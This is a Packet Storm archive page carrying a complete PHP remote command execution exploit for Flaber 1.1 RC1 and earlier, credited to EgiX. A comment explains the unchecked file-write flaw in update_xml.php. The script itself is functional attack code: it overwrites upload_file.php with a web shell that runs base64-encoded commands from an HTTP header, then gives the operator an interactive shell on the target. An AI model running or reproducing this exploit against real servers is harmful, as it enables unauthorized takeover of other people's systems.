exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

flaber-exec.txt

flaber-exec.txt
Posted Apr 9, 2008
Authored by EgiX

Flaber versions 1.1 RC1 and below remote command execution exploit.

tags | exploit, remote
SHA-256 | 7878cc53832b9211a66f0f91903546f496d3434029ea77542e3836118ab4678f

flaber-exec.txt

Change Mirror Download
<?php

/*
--------------------------------------------------
FLABER <= 1.1 RC1 Remote Command Execution Exploit
--------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://sourceforge.net/projects/flaber

[-] vulnerable code in /function/update_xml.php

12. $target_file = $_GET ["target_file"];
13.
14. // if the target is well defined, update now...
15. if ($target_file == "")
16. {
17. echo ("<critical>" . $FILE_NAME . " Incorrect parameter target_file.</critical>");
18. exit;
19. }
20.
21.
22. $target_file = "../" . $target_file;
23.
24. // if it is a file
25. if (is_file ($target_file))
26. {
27. if (!is_writable ($target_file))
28. {
29. echo ("<critical>" . $FILE_NAME . " " . $target_file . " is not writable.</critical>");
30. exit;
31. }
32.
33. $fp = fopen($target_file, "w");
34.
35. $raw_xml = file_get_contents("php://input");
36. fwrite($fp, $raw_xml);
37.
38. fclose ($fp);
39. echo ("<normal>" . $FILE_NAME . " " . $target_file . " updated successfully.</normal>");
40. exit;
41. }

an attacker could be overwrite an existing file with arbitrary data by $_POST array (lines 33-36)

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from ".$host.":80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}

print "\n+------------------------------------------------------------+";
print "\n| FLABER <= 1.1 RC1 Remote Command Execution Exploit by EgiX |";
print "\n+------------------------------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage: php $argv[0] host path\n";
print "\nhost: target server (ip/hostname)";
print "\npath: path to FLABER directory (example: / or /flaber/\n";
die();
}

$host = $argv[1];
$path = $argv[2];

$payload = "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>";
$packet = "POST {$path}function/update_xml.php?target_file=function/upload_file.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;

if (!preg_match("/updated successfully/", http_send($host, $packet))) die("\n\n[-] Exploit failed...\n");

define(STDIN, fopen("php://stdin", "r"));

while(1)
{
print "\nxpl0it-sh3ll > ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$packet = "GET {$path}function/upload_file.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: ".base64_encode($cmd)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$html = http_send($host, $packet);
if (!ereg("_code_", $html)) die("\n[-] Exploit failed...\n");
$shell = explode("_code_", $html);
print "\n".$shell[1];
}
else break;
}

?>
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close